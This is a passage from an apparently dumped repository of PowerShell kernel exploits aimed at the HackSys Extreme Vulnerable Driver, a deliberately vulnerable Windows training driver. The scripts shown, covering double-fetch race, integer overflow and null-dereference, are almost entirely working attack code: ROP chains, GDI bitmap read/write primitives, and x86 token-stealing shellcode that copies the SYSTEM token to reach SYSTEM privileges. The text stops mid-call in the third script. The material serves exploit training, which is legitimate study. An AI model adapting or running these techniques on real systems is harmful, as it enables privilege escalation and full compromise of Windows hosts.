├── Kernel_DoubleFetch.ps1 ├── Kernel_IntOverflow.ps1 ├── Kernel_NullDeref.ps1 ├── Kernel_PoolOverflow.ps1 ├── Kernel_RS2_WWW_GDI_64.ps1 ├── Kernel_Stack.ps1 ├── Kernel_TypeConfusion.ps1 ├── Kernel_UAF.ps1 ├── Kernel_UninitializedHeapVar.ps1 ├── Kernel_UninitializedStackVar.ps1 ├── Kernel_WWW_GDI_32-64.ps1 ├── Kernel_WriteWhatWhere.ps1 └── README.md /Kernel_DoubleFetch.ps1: -------------------------------------------------------------------------------- 1 | Add-Type -TypeDefinition @" 2 | using System; 3 | using System.Diagnostics; 4 | using System.Runtime.InteropServices; 5 | using System.Security.Principal; 6 | 7 | public static class EVD 8 | { 9 | [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)] 10 | public static extern IntPtr CreateFile( 11 | String lpFileName, 12 | UInt32 dwDesiredAccess, 13 | UInt32 dwShareMode, 14 | IntPtr lpSecurityAttributes, 15 | UInt32 dwCreationDisposition, 16 | UInt32 dwFlagsAndAttributes, 17 | IntPtr hTemplateFile); 18 | 19 | [DllImport("Kernel32.dll", SetLastError = true)] 20 | public static extern bool DeviceIoControl( 21 | IntPtr hDevice, 22 | int IoControlCode, 23 | IntPtr InBuffer, 24 | int nInBufferSize, 25 | byte[] OutBuffer, 26 | int nOutBufferSize, 27 | ref int pBytesReturned, 28 | IntPtr Overlapped); 29 | 30 | [DllImport("kernel32.dll", SetLastError = true)] 31 | public static extern IntPtr VirtualAlloc( 32 | IntPtr lpAddress, 33 | uint dwSize, 34 | UInt32 flAllocationType, 35 | UInt32 flProtect); 36 | 37 | [DllImport("kernel32.dll", SetLastError=true)] 38 | public static extern bool VirtualFree( 39 | IntPtr lpAddress, 40 | uint dwSize, 41 | uint dwFreeType); 42 | 43 | [DllImport("gdi32.dll")] 44 | public static extern int SetBitmapBits( 45 | IntPtr hbmp, 46 | uint cBytes, 47 | byte[] lpBits); 48 | 49 | [DllImport("gdi32.dll")] 50 | public static extern int GetBitmapBits( 51 | IntPtr hbmp, 52 | int cbBuffer, 53 | IntPtr lpvBits); 54 | 55 | [DllImport("kernel32.dll", SetLastError=true)] 56 | public static extern bool FreeLibrary( 57 | IntPtr hModule); 58 | 59 | [DllImport("kernel32", SetLastError=true, CharSet = CharSet.Ansi)] 60 | public static extern IntPtr LoadLibrary( 61 | string lpFileName); 62 | 63 | [DllImport("kernel32", CharSet=CharSet.Ansi, ExactSpelling=true, SetLastError=true)] 64 | public static extern IntPtr GetProcAddress( 65 | IntPtr hModule, 66 | string procName); 67 | } 68 | "@ 69 | 70 | #==============================================[Pre-Checks] 71 | # Check logical processor count, race condition requires 2+ 72 | echo "`n[?] Operating system core count: $([System.Environment]::ProcessorCount)" 73 | if ($([System.Environment]::ProcessorCount) -lt 2) { 74 | echo "[!] The race condition requires at least 2 CPU cores, exiting!`n" 75 | Return 76 | } 77 | 78 | # Get driver handle 79 | $hDevice = [EVD]::CreateFile("\\.\HacksysExtremeVulnerableDriver", [System.IO.FileAccess]::ReadWrite,[System.IO.FileShare]::ReadWrite, [System.IntPtr]::Zero, 0x3, 0x40000080, [System.IntPtr]::Zero) 80 | 81 | if ($hDevice -eq -1) { 82 | echo "`n[!] Unable to get driver handle..`n" 83 | Return 84 | } 85 | 86 | #==============================================[Helpers] 87 | function Get-LoadedModules { 88 | <# 89 | .SYNOPSIS 90 | Use NtQuerySystemInformation::SystemModuleInformation to get a list of 91 | loaded modules, their base address and size (x32/x64). 92 | Note: Low integrity only pre 8.1 93 | .DESCRIPTION 94 | Author: Ruben Boonen (@FuzzySec) 95 | License: BSD 3-Clause 96 | Required Dependencies: None 97 | Optional Dependencies: None 98 | .EXAMPLE 99 | C:\PS> $Modules = Get-LoadedModules 100 | C:\PS> $KernelBase = $Modules[0].ImageBase 101 | C:\PS> $KernelType = ($Modules[0].ImageName -split "\\")[-1] 102 | C:\PS> ...... 103 | #> 104 | 105 | Add-Type -TypeDefinition @" 106 | using System; 107 | using System.Diagnostics; 108 | using System.Runtime.InteropServices; 109 | using System.Security.Principal; 110 | [StructLayout(LayoutKind.Sequential, Pack = 1)] 111 | public struct SYSTEM_MODULE_INFORMATION 112 | { 113 | [MarshalAs(UnmanagedType.ByValArray, SizeConst = 2)] 114 | public UIntPtr[] Reserved; 115 | public IntPtr ImageBase; 116 | public UInt32 ImageSize; 117 | public UInt32 Flags; 118 | public UInt16 LoadOrderIndex; 119 | public UInt16 InitOrderIndex; 120 | public UInt16 LoadCount; 121 | public UInt16 ModuleNameOffset; 122 | [MarshalAs(UnmanagedType.ByValArray, SizeConst = 256)] 123 | internal Char[] _ImageName; 124 | public String ImageName { 125 | get { 126 | return new String(_ImageName).Split(new Char[] {'\0'}, 2)[0]; 127 | } 128 | } 129 | } 130 | public static class Ntdll 131 | { 132 | [DllImport("ntdll.dll")] 133 | public static extern int NtQuerySystemInformation( 134 | int SystemInformationClass, 135 | IntPtr SystemInformation, 136 | int SystemInformationLength, 137 | ref int ReturnLength); 138 | } 139 | "@ 140 | 141 | [int]$BuffPtr_Size = 0 142 | while ($true) { 143 | [IntPtr]$BuffPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($BuffPtr_Size) 144 | $SystemInformationLength = New-Object Int 145 | 146 | # SystemModuleInformation Class = 11 147 | $CallResult = [Ntdll]::NtQuerySystemInformation(11, $BuffPtr, $BuffPtr_Size, [ref]$SystemInformationLength) 148 | 149 | # STATUS_INFO_LENGTH_MISMATCH 150 | if ($CallResult -eq 0xC0000004) { 151 | [System.Runtime.InteropServices.Marshal]::FreeHGlobal($BuffPtr) 152 | [int]$BuffPtr_Size = [System.Math]::Max($BuffPtr_Size,$SystemInformationLength) 153 | } 154 | # STATUS_SUCCESS 155 | elseif ($CallResult -eq 0x00000000) { 156 | break 157 | } 158 | # Probably: 0xC0000005 -> STATUS_ACCESS_VIOLATION 159 | else { 160 | [System.Runtime.InteropServices.Marshal]::FreeHGlobal($BuffPtr) 161 | return 162 | } 163 | } 164 | 165 | $SYSTEM_MODULE_INFORMATION = New-Object SYSTEM_MODULE_INFORMATION 166 | $SYSTEM_MODULE_INFORMATION = $SYSTEM_MODULE_INFORMATION.GetType() 167 | if ([System.IntPtr]::Size -eq 4) { 168 | $SYSTEM_MODULE_INFORMATION_Size = 284 169 | } else { 170 | $SYSTEM_MODULE_INFORMATION_Size = 296 171 | } 172 | 173 | $BuffOffset = $BuffPtr.ToInt64() 174 | $HandleCount = [System.Runtime.InteropServices.Marshal]::ReadInt32($BuffOffset) 175 | $BuffOffset = $BuffOffset + [System.IntPtr]::Size 176 | 177 | $SystemModuleArray = @() 178 | for ($i=0; $i -lt $HandleCount; $i++){ 179 | $SystemPointer = New-Object System.Intptr -ArgumentList $BuffOffset 180 | $Cast = [system.runtime.interopservices.marshal]::PtrToStructure($SystemPointer,[type]$SYSTEM_MODULE_INFORMATION) 181 | 182 | $HashTable = @{ 183 | ImageName = $Cast.ImageName 184 | ImageBase = if ([System.IntPtr]::Size -eq 4) {$($Cast.ImageBase).ToInt32()} else {$($Cast.ImageBase).ToInt64()} 185 | ImageSize = "0x$('{0:X}' -f $Cast.ImageSize)" 186 | } 187 | 188 | $Object = New-Object PSObject -Property $HashTable 189 | $SystemModuleArray += $Object 190 | 191 | $BuffOffset = $BuffOffset + $SYSTEM_MODULE_INFORMATION_Size 192 | } 193 | 194 | $SystemModuleArray 195 | 196 | # Free SystemModuleInformation array 197 | [System.Runtime.InteropServices.Marshal]::FreeHGlobal($BuffPtr) 198 | } 199 | 200 | function Stage-gSharedInfoBitmap { 201 | <# 202 | .SYNOPSIS 203 | Universal Bitmap leak using accelerator tables, 32/64 bit Win7-10 (post anniversary). 204 | .DESCRIPTION 205 | Author: Ruben Boonen (@FuzzySec) 206 | License: BSD 3-Clause 207 | Required Dependencies: None 208 | Optional Dependencies: None 209 | .EXAMPLE 210 | PS C:\Users\b33f> Stage-gSharedInfoBitmap |fl 211 | 212 | BitmapKernelObj : -7692235059200 213 | BitmappvScan0 : -7692235059120 214 | BitmapHandle : 1845828432 215 | 216 | PS C:\Users\b33f> $Manager = Stage-gSharedInfoBitmap 217 | PS C:\Users\b33f> "{0:X}" -f $Manager.BitmapKernelObj 218 | FFFFF901030FF000 219 | #> 220 | 221 | Add-Type -TypeDefinition @" 222 | using System; 223 | using System.Diagnostics; 224 | using System.Runtime.InteropServices; 225 | using System.Security.Principal; 226 | public static class gSharedInfoBitmap 227 | { 228 | [DllImport("gdi32.dll")] 229 | public static extern IntPtr CreateBitmap( 230 | int nWidth, 231 | int nHeight, 232 | uint cPlanes, 233 | uint cBitsPerPel, 234 | IntPtr lpvBits); 235 | [DllImport("kernel32", SetLastError=true, CharSet = CharSet.Ansi)] 236 | public static extern IntPtr LoadLibrary( 237 | string lpFileName); 238 | 239 | [DllImport("kernel32", CharSet=CharSet.Ansi, ExactSpelling=true, SetLastError=true)] 240 | public static extern IntPtr GetProcAddress( 241 | IntPtr hModule, 242 | string procName); 243 | [DllImport("user32.dll")] 244 | public static extern IntPtr CreateAcceleratorTable( 245 | IntPtr lpaccl, 246 | int cEntries); 247 | [DllImport("user32.dll")] 248 | public static extern bool DestroyAcceleratorTable( 249 | IntPtr hAccel); 250 | } 251 | "@ 252 | 253 | # Check Arch 254 | if ([System.IntPtr]::Size -eq 4) { 255 | $x32 = 1 256 | } 257 | 258 | function Create-AcceleratorTable { 259 | [IntPtr]$Buffer = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(10000) 260 | $AccelHandle = [gSharedInfoBitmap]::CreateAcceleratorTable($Buffer, 700) # +4 kb size 261 | $User32Hanle = [gSharedInfoBitmap]::LoadLibrary("user32.dll") 262 | $gSharedInfo = [gSharedInfoBitmap]::GetProcAddress($User32Hanle, "gSharedInfo") 263 | if ($x32){ 264 | $gSharedInfo = $gSharedInfo.ToInt32() 265 | } else { 266 | $gSharedInfo = $gSharedInfo.ToInt64() 267 | } 268 | $aheList = $gSharedInfo + [System.IntPtr]::Size 269 | if ($x32){ 270 | $aheList = [System.Runtime.InteropServices.Marshal]::ReadInt32($aheList) 271 | $HandleEntry = $aheList + ([int]$AccelHandle -band 0xffff)*0xc # _HANDLEENTRY.Size = 0xC 272 | $phead = [System.Runtime.InteropServices.Marshal]::ReadInt32($HandleEntry) 273 | } else { 274 | $aheList = [System.Runtime.InteropServices.Marshal]::ReadInt64($aheList) 275 | $HandleEntry = $aheList + ([int]$AccelHandle -band 0xffff)*0x18 # _HANDLEENTRY.Size = 0x18 276 | $phead = [System.Runtime.InteropServices.Marshal]::ReadInt64($HandleEntry) 277 | } 278 | 279 | $Result = @() 280 | $HashTable = @{ 281 | Handle = $AccelHandle 282 | KernelObj = $phead 283 | } 284 | $Object = New-Object PSObject -Property $HashTable 285 | $Result += $Object 286 | $Result 287 | } 288 | 289 | function Destroy-AcceleratorTable { 290 | param ($Hanlde) 291 | $CallResult = [gSharedInfoBitmap]::DestroyAcceleratorTable($Hanlde) 292 | } 293 | 294 | $KernelArray = @() 295 | for ($i=0;$i -lt 20;$i++) { 296 | $KernelArray += Create-AcceleratorTable 297 | if ($KernelArray.Length -gt 1) { 298 | if ($KernelArray[$i].KernelObj -eq $KernelArray[$i-1].KernelObj) { 299 | Destroy-AcceleratorTable -Hanlde $KernelArray[$i].Handle 300 | [IntPtr]$Buffer = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(0x50*2*4) 301 | $BitmapHandle = [gSharedInfoBitmap]::CreateBitmap(0x701, 2, 1, 8, $Buffer) # # +4 kb size -lt AcceleratorTable 302 | break 303 | } 304 | } 305 | Destroy-AcceleratorTable -Hanlde $KernelArray[$i].Handle 306 | } 307 | 308 | $BitMapObject = @() 309 | $HashTable = @{ 310 | BitmapHandle = $BitmapHandle 311 | BitmapKernelObj = $($KernelArray[$i].KernelObj) 312 | BitmappvScan0 = if ($x32) {$($KernelArray[$i].KernelObj) + 0x32} else {$($KernelArray[$i].KernelObj) + 0x50} 313 | } 314 | $Object = New-Object PSObject -Property $HashTable 315 | $BitMapObject += $Object 316 | $BitMapObject 317 | } 318 | 319 | function Bitmap-Read { 320 | param ($Address) 321 | $CallResult = [EVD]::SetBitmapBits($ManagerBitmap.BitmapHandle, [System.IntPtr]::Size, [System.BitConverter]::GetBytes($Address)) 322 | [IntPtr]$Pointer = [EVD]::VirtualAlloc([System.IntPtr]::Zero, [System.IntPtr]::Size, 0x3000, 0x40) 323 | $CallResult = [EVD]::GetBitmapBits($WorkerBitmap.BitmapHandle, [System.IntPtr]::Size, $Pointer) 324 | if ($x32Architecture){ 325 | [System.Runtime.InteropServices.Marshal]::ReadInt32($Pointer) 326 | } else { 327 | [System.Runtime.InteropServices.Marshal]::ReadInt64($Pointer) 328 | } 329 | $CallResult = [EVD]::VirtualFree($Pointer, [System.IntPtr]::Size, 0x8000) 330 | } 331 | 332 | function Bitmap-Write { 333 | param ($Address, $Value) 334 | $CallResult = [EVD]::SetBitmapBits($ManagerBitmap.BitmapHandle, [System.IntPtr]::Size, [System.BitConverter]::GetBytes($Address)) 335 | $CallResult = [EVD]::SetBitmapBits($WorkerBitmap.BitmapHandle, [System.IntPtr]::Size, [System.BitConverter]::GetBytes($Value)) 336 | } 337 | 338 | #==============================================[Payload] 339 | echo "`n[>] Leaking all the things.." 340 | $SystemModuleArray = Get-LoadedModules 341 | $KernelBase = $SystemModuleArray[0].ImageBase 342 | $ManagerBitmap = Stage-gSharedInfoBitmap 343 | $WorkerBitmap = Stage-gSharedInfoBitmap 344 | echo "[+] Kernel Base: 0x$("{0:X}" -f $KernelBase)" 345 | echo "[+] Manager Bitmap: 0x$("{0:X}" -f $($ManagerBitmap.BitmapKernelObj))" 346 | echo "[+] Worker Bitmap: 0x$("{0:X}" -f $($WorkerBitmap.BitmapKernelObj))" 347 | echo "[?] Building ROP payload.." 348 | 349 | # ROP Shellcode buffer => Only works on Win10 x64 v1607 350 | # See => https://github.com/Cn33liz/HSEVD-StackOverflowGDI/blob/master/HS-StackOverflowGDI/HS-StackOverflowGDI.c#L262 351 | [Byte[]] $ROP = @( 352 | [System.BitConverter]::GetBytes($KernelBase + 0x4483f5) + # pop rax ; ret 353 | [System.BitConverter]::GetBytes($WorkerBitmap.BitmappvScan0) + # worker PvScan0 Address 354 | [System.BitConverter]::GetBytes($KernelBase + 0x4253f6) + # pop r8 ; ret 355 | [System.BitConverter]::GetBytes($ManagerBitmap.BitmappvScan0) + # manager PvScan0 Address 356 | [System.BitConverter]::GetBytes($KernelBase + 0x26d0) + # mov qword [r8], rax ; ret 357 | [System.BitConverter]::GetBytes($KernelBase + 0x13a11a) + # xor rax, rax ; ret 358 | [System.BitConverter]::GetBytes($KernelBase + 0x4483f6) + # ret slide 359 | [System.BitConverter]::GetBytes($KernelBase + 0x4483f6) + # ret slide 360 | [System.BitConverter]::GetBytes($KernelBase + 0x4483f6) + # ret slide 361 | [System.BitConverter]::GetBytes($KernelBase + 0x4483f6) + # ret slide 362 | [System.BitConverter]::GetBytes($KernelBase + 0x4483f6) + # ret slide 363 | [System.BitConverter]::GetBytes($KernelBase + 0x4483f6) # ret slide => nt!IopSynchronousServiceTail+0x1a0 364 | ) 365 | 366 | #==============================================[exploit] 367 | # Alloc shellcode buffer 368 | $Shellcode = [Byte[]](0x41)*0x808 + $ROP 369 | echo "`n[>] Allocating ring0 ROP payload.." 370 | [IntPtr]$ScPointer = [EVD]::VirtualAlloc([System.IntPtr]::Zero, $Shellcode.Length, 0x3000, 0x40) 371 | [System.Runtime.InteropServices.Marshal]::Copy($Shellcode, 0, $ScPointer, $Shellcode.Length) 372 | echo "[+] Payload size: $($Shellcode.Length)" 373 | echo "[+] Payload address: 0x$("{0:X8}" -f $ScPointer.ToInt64())" 374 | 375 | # Alloc IOCTL buffer 376 | $IOCTLBuffer = [System.BitConverter]::GetBytes($ScPointer.ToInt64()) + [System.BitConverter]::GetBytes(0x800) 377 | echo "`n[>] Allocating IOCTL buffer.." 378 | [IntPtr]$IOCTLPointer = [EVD]::VirtualAlloc([System.IntPtr]::Zero, $IOCTLBuffer.Length, 0x3000, 0x40) 379 | [System.Runtime.InteropServices.Marshal]::Copy($IOCTLBuffer, 0, $IOCTLPointer, $IOCTLBuffer.Length) 380 | echo "[+] Payload size: $($IOCTLBuffer.Length)" 381 | echo "[+] Payload address: 0x$("{0:X8}" -f $IOCTLPointer.ToInt64())" 382 | 383 | echo "`n[>] Triggering TOCTOU race condition.." 384 | echo "[+] Flipping buffer size" 385 | # PS runspace to flip buffer size 386 | $Runspace = [runspacefactory]::CreateRunspace() 387 | $Runspace.Open() 388 | $SizeRace = [powershell]::Create() 389 | $SizeRace.runspace = $Runspace 390 | [void]$SizeRace.AddScript({ 391 | param($IOCTLPointer) 392 | while ($true) { 393 | $Dest = [IntPtr]::Add($IOCTLPointer,8) 394 | $Size = [System.BitConverter]::GetBytes(0x800) 395 | [System.Runtime.InteropServices.Marshal]::Copy($Size, 0, $Dest, $Size.Length) 396 | $Size = [System.BitConverter]::GetBytes(0x868) 397 | [System.Runtime.InteropServices.Marshal]::Copy($Size, 0, $Dest, $Size.Length) 398 | } 399 | }).AddArgument($IOCTLPointer) 400 | $AscObj = $SizeRace.BeginInvoke() 401 | 402 | echo "[+] Calling DeviceIoControl" 403 | # Start 10 second race to trigger TOCTOU 404 | # It should trigger instantly but you never know.. 405 | $SafeGuard = [diagnostics.stopwatch]::StartNew() 406 | while ($SafeGuard.ElapsedMilliseconds -lt 10000) { 407 | [EVD]::DeviceIoControl($hDevice, 0x222037, $IOCTLPointer, $IOCTLBuffer.Length, $null, 0, [ref]0, [System.IntPtr]::Zero)|Out-null 408 | $BitmapTestRead = Bitmap-Read -Address $KernelBase 409 | # Does our read return MZ...? 410 | if ($BitmapTestRead -eq 12894362189) { 411 | echo "[!] Success, bitmap primitive staged" 412 | $SizeRace.Stop() 413 | break 414 | } 415 | } 416 | $SafeGuard.Stop() 417 | 418 | #==============================================[Elevate] 419 | # _EPROCESS UniqueProcessId/Token/ActiveProcessLinks offsets based on OS 420 | # WARNING offsets are invalid for Pre-RTM images! 421 | $OSVersion = [Version](Get-WmiObject Win32_OperatingSystem).Version 422 | $OSMajorMinor = "$($OSVersion.Major).$($OSVersion.Minor)" 423 | switch ($OSMajorMinor) 424 | { 425 | '10.0' # Win10 / 2k16 426 | { 427 | $UniqueProcessIdOffset = 0x2e8 428 | $TokenOffset = 0x358 429 | $ActiveProcessLinks = 0x2f0 430 | } 431 | 432 | '6.3' # Win8.1 / 2k12R2 433 | { 434 | $UniqueProcessIdOffset = 0x2e0 435 | $TokenOffset = 0x348 436 | $ActiveProcessLinks = 0x2e8 437 | } 438 | 439 | '6.2' # Win8 / 2k12 440 | { 441 | $UniqueProcessIdOffset = 0x2e0 442 | $TokenOffset = 0x348 443 | $ActiveProcessLinks = 0x2e8 444 | } 445 | 446 | '6.1' # Win7 / 2k8R2 447 | { 448 | $UniqueProcessIdOffset = 0x180 449 | $TokenOffset = 0x208 450 | $ActiveProcessLinks = 0x188 451 | } 452 | } 453 | 454 | # Get EPROCESS entry for System process 455 | echo "`n[>] Leaking SYSTEM _EPROCESS.." 456 | $KernelBase = $SystemModuleArray[0].ImageBase 457 | $KernelType = ($SystemModuleArray[0].ImageName -split "\\")[-1] 458 | $KernelHanle = [EVD]::LoadLibrary("$KernelType") 459 | $PsInitialSystemProcess = [EVD]::GetProcAddress($KernelHanle, "PsInitialSystemProcess") 460 | $SysEprocessPtr = if (!$x32Architecture) {$PsInitialSystemProcess.ToInt64() - $KernelHanle + $KernelBase} else {$PsInitialSystemProcess.ToInt32() - $KernelHanle + $KernelBase} 461 | $CallResult = [EVD]::FreeLibrary($KernelHanle) 462 | echo "[+] _EPROCESS list entry: 0x$("{0:X}" -f $SysEprocessPtr)" 463 | $SysEPROCESS = Bitmap-Read -Address $SysEprocessPtr 464 | echo "[+] SYSTEM _EPROCESS address: 0x$("{0:X}" -f $(Bitmap-Read -Address $SysEprocessPtr))" 465 | echo "[+] PID: $(Bitmap-Read -Address $($SysEPROCESS+$UniqueProcessIdOffset))" 466 | echo "[+] SYSTEM Token: 0x$("{0:X}" -f $(Bitmap-Read -Address $($SysEPROCESS+$TokenOffset)))" 467 | $SysToken = Bitmap-Read -Address $($SysEPROCESS+$TokenOffset) 468 | 469 | # Get EPROCESS entry for current process 470 | echo "`n[>] Leaking current _EPROCESS.." 471 | echo "[+] Traversing ActiveProcessLinks list" 472 | $NextProcess = $(Bitmap-Read -Address $($SysEPROCESS+$ActiveProcessLinks)) - $UniqueProcessIdOffset - [System.IntPtr]::Size 473 | while($true) { 474 | $NextPID = Bitmap-Read -Address $($NextProcess+$UniqueProcessIdOffset) 475 | if ($NextPID -eq $PID) { 476 | echo "[+] PowerShell _EPROCESS address: 0x$("{0:X}" -f $NextProcess)" 477 | echo "[+] PID: $NextPID" 478 | echo "[+] PowerShell Token: 0x$("{0:X}" -f $(Bitmap-Read -Address $($NextProcess+$TokenOffset)))" 479 | $PoShTokenAddr = $NextProcess+$TokenOffset 480 | break 481 | } 482 | $NextProcess = $(Bitmap-Read -Address $($NextProcess+$ActiveProcessLinks)) - $UniqueProcessIdOffset - [System.IntPtr]::Size 483 | } 484 | 485 | # Duplicate token! 486 | echo "`n[!] Duplicating SYSTEM token!`n" 487 | Bitmap-Write -Address $PoShTokenAddr -Value $SysToken -------------------------------------------------------------------------------- /Kernel_IntOverflow.ps1: -------------------------------------------------------------------------------- 1 | Add-Type -TypeDefinition @" 2 | using System; 3 | using System.Diagnostics; 4 | using System.Runtime.InteropServices; 5 | using System.Security.Principal; 6 | 7 | public static class EVD 8 | { 9 | [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)] 10 | public static extern IntPtr CreateFile( 11 | String lpFileName, 12 | UInt32 dwDesiredAccess, 13 | UInt32 dwShareMode, 14 | IntPtr lpSecurityAttributes, 15 | UInt32 dwCreationDisposition, 16 | UInt32 dwFlagsAndAttributes, 17 | IntPtr hTemplateFile); 18 | 19 | [DllImport("Kernel32.dll", SetLastError = true)] 20 | public static extern bool DeviceIoControl( 21 | IntPtr hDevice, 22 | int IoControlCode, 23 | byte[] InBuffer, 24 | int nInBufferSize, 25 | byte[] OutBuffer, 26 | int nOutBufferSize, 27 | ref int pBytesReturned, 28 | IntPtr Overlapped); 29 | 30 | [DllImport("kernel32.dll", SetLastError = true)] 31 | public static extern IntPtr VirtualAlloc( 32 | IntPtr lpAddress, 33 | uint dwSize, 34 | UInt32 flAllocationType, 35 | UInt32 flProtect); 36 | } 37 | "@ 38 | 39 | # Compiled with Keystone-Engine 40 | # Hardcoded offsets for Win7 x86 SP1 41 | $Shellcode = [Byte[]] @( 42 | #---[Setup] 43 | 0x60, # pushad 44 | 0x64, 0xA1, 0x24, 0x01, 0x00, 0x00, # mov eax, fs:[KTHREAD_OFFSET] 45 | 0x8B, 0x40, 0x50, # mov eax, [eax + EPROCESS_OFFSET] 46 | 0x89, 0xC1, # mov ecx, eax (Current _EPROCESS structure) 47 | 0x8B, 0x98, 0xF8, 0x00, 0x00, 0x00, # mov ebx, [eax + TOKEN_OFFSET] 48 | #---[Copy System PID token] 49 | 0xBA, 0x04, 0x00, 0x00, 0x00, # mov edx, 4 (SYSTEM PID) 50 | 0x8B, 0x80, 0xB8, 0x00, 0x00, 0x00, # mov eax, [eax + FLINK_OFFSET] <-| 51 | 0x2D, 0xB8, 0x00, 0x00, 0x00, # sub eax, FLINK_OFFSET | 52 | 0x39, 0x90, 0xB4, 0x00, 0x00, 0x00, # cmp [eax + PID_OFFSET], edx | 53 | 0x75, 0xED, # jnz ->| 54 | 0x8B, 0x90, 0xF8, 0x00, 0x00, 0x00, # mov edx, [eax + TOKEN_OFFSET] 55 | 0x89, 0x91, 0xF8, 0x00, 0x00, 0x00, # mov [ecx + TOKEN_OFFSET], edx 56 | #---[Recover] 57 | 0x61, # popad 58 | 0x31, 0xC0, # NTSTATUS -> STATUS_SUCCESS :p 59 | 0x5D, # pop ebp 60 | 0xC2, 0x08, 0x00 # ret 8 61 | ) 62 | 63 | # Write shellcode to memory 64 | echo "`n[>] Allocating ring0 payload.." 65 | [IntPtr]$Pointer = [EVD]::VirtualAlloc([System.IntPtr]::Zero, $Shellcode.Length, 0x3000, 0x40) 66 | [System.Runtime.InteropServices.Marshal]::Copy($Shellcode, 0, $Pointer, $Shellcode.Length) 67 | $EIP = [System.BitConverter]::GetBytes($Pointer.ToInt32()) 68 | echo "[+] Payload size: $($Shellcode.Length)" 69 | echo "[+] Payload address: $("{0:X8}" -f $Pointer.ToInt32())" 70 | 71 | $hDevice = [EVD]::CreateFile("\\.\HacksysExtremeVulnerableDriver", [System.IO.FileAccess]::ReadWrite, [System.IO.FileShare]::ReadWrite, [System.IntPtr]::Zero, 0x3, 0x40000080, [System.IntPtr]::Zero) 72 | 73 | if ($hDevice -eq -1) { 74 | echo "`n[!] Unable to get driver handle..`n" 75 | Return 76 | } else { 77 | echo "`n[>] Driver information.." 78 | echo "[+] lpFileName: \\.\HacksysExtremeVulnerableDriver" 79 | echo "[+] Handle: $hDevice" 80 | } 81 | 82 | $Buffer = [Byte[]](0x41)*0x828 + $EIP + [System.BitConverter]::GetBytes(0xbad0b0b0) 83 | $Size = 0xffffffff 84 | echo "`n[>] Sending buffer.." 85 | echo "[+] Buffer size: $($Buffer.Length)" 86 | echo "[+] Fake buffer size: $("{0:X}" -f $Size)" 87 | echo "[+] IOCTL: 0x222027`n" 88 | [EVD]::DeviceIoControl($hDevice, 0x222027, $Buffer, $Size, $null, 0, [ref]0, [System.IntPtr]::Zero) |Out-null -------------------------------------------------------------------------------- /Kernel_NullDeref.ps1: -------------------------------------------------------------------------------- 1 | Add-Type -TypeDefinition @" 2 | using System; 3 | using System.Diagnostics; 4 | using System.Runtime.InteropServices; 5 | using System.Security.Principal; 6 | 7 | public static class EVD 8 | { 9 | [DllImport("ntdll.dll")] 10 | public static extern uint NtAllocateVirtualMemory( 11 | IntPtr ProcessHandle, 12 | ref IntPtr BaseAddress, 13 | uint ZeroBits, 14 | ref UInt32 AllocationSize, 15 | UInt32 AllocationType, 16 | UInt32 Protect); 17 | 18 | [DllImport("kernel32.dll", SetLastError = true)] 19 | public static extern IntPtr VirtualAlloc( 20 | IntPtr lpAddress, 21 | uint dwSize, 22 | UInt32 flAllocationType, 23 | UInt32 flProtect); 24 | 25 | [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)] 26 | public static extern IntPtr CreateFile( 27 | String lpFileName, 28 | UInt32 dwDesiredAccess, 29 | UInt32 dwShareMode, 30 | IntPtr lpSecurityAttributes, 31 | UInt32 dwCreationDisposition, 32 | UInt32 dwFlagsAndAttributes, 33 | IntPtr hTemplateFile); 34 | 35 | [DllImport("Kernel32.dll", SetLastError = true)] 36 | public static extern bool DeviceIoControl( 37 | IntPtr hDevice, 38 | int IoControlCode, 39 | byte[] InBuffer, 40 | int nInBufferSize, 41 | byte[] OutBuffer, 42 | int nOutBufferSize, 43 | ref int pBytesReturned, 44 | IntPtr Overlapped); 45 | 46 | [DllImport("kernel32.dll")] 47 | public static extern uint GetLastError(); 48 | } 49 | "@ 50 | 51 | # Compiled with Keystone-Engine 52 | # Hardcoded offsets for Win7 x86 SP1 53 | $Shellcode = [Byte[]] @( 54 | #---[Setup] 55 | 0x60, # pushad 56 | 0x64, 0xA1, 0x24, 0x01, 0x00, 0x00, # mov eax, fs:[KTHREAD_OFFSET] 57 | 0x8B, 0x40, 0x50, # mov eax, [eax + EPROCESS_OFFSET] 58 | 0x89, 0xC1, # mov ecx, eax (Current _EPROCESS structure) 59 | 0x8B, 0x98, 0xF8, 0x00, 0x00, 0x00, # mov ebx, [eax + TOKEN_OFFSET] 60 | #---[Copy System PID token] 61 | 0xBA, 0x04, 0x00, 0x00, 0x00, # mov edx, 4 (SYSTEM PID) 62 | 0x8B, 0x80, 0xB8, 0x00, 0x00, 0x00, # mov eax, [eax + FLINK_OFFSET] <-| 63 | 0x2D, 0xB8, 0x00, 0x00, 0x00, # sub eax, FLINK_OFFSET | 64 | 0x39, 0x90, 0xB4, 0x00, 0x00, 0x00, # cmp [eax + PID_OFFSET], edx | 65 | 0x75, 0xED, # jnz ->| 66 | 0x8B, 0x90, 0xF8, 0x00, 0x00, 0x00, # mov edx, [eax + TOKEN_OFFSET] 67 | 0x89, 0x91, 0xF8, 0x00, 0x00, 0x00, # mov [ecx + TOKEN_OFFSET], edx 68 | #---[Recover] 69 | 0x61, # popad 70 | 0xC3 # ret 71 | ) 72 | 73 | # Write shellcode to memory 74 | echo "`n[>] Allocating ring0 payload.." 75 | [IntPtr]$Pointer = [EVD]::VirtualAlloc([System.IntPtr]::Zero, $Shellcode.Length, 0x3000, 0x40) 76 | [System.Runtime.InteropServices.Marshal]::Copy($Shellcode, 0, $Pointer, $Shellcode.Length) 77 | $ShellcodePointer = [System.BitConverter]::GetBytes($Pointer.ToInt32()) 78 | echo "[+] Payload size: $($Shellcode.Length)" 79 | echo "[+] Payload address: 0x$("{0:X8}" -f $Pointer.ToInt32())" 80 | 81 | # Allocate null-page 82 | #--- 83 | # NtAllocateVirtualMemory must be used as VirtualAlloc 84 | # will refuse a base address smaller than [IntPtr]0x1000 85 | #--- 86 | echo "`n[>] Allocating process null page.." 87 | [IntPtr]$ProcHandle = (Get-Process -Id ([System.Diagnostics.Process]::GetCurrentProcess().Id)).Handle 88 | [IntPtr]$BaseAddress = 0x1 # Rounded down to 0x00000000 89 | [UInt32]$AllocationSize = 2048 # 2kb, seems like a nice number 90 | $CallResult = [EVD]::NtAllocateVirtualMemory($ProcHandle, 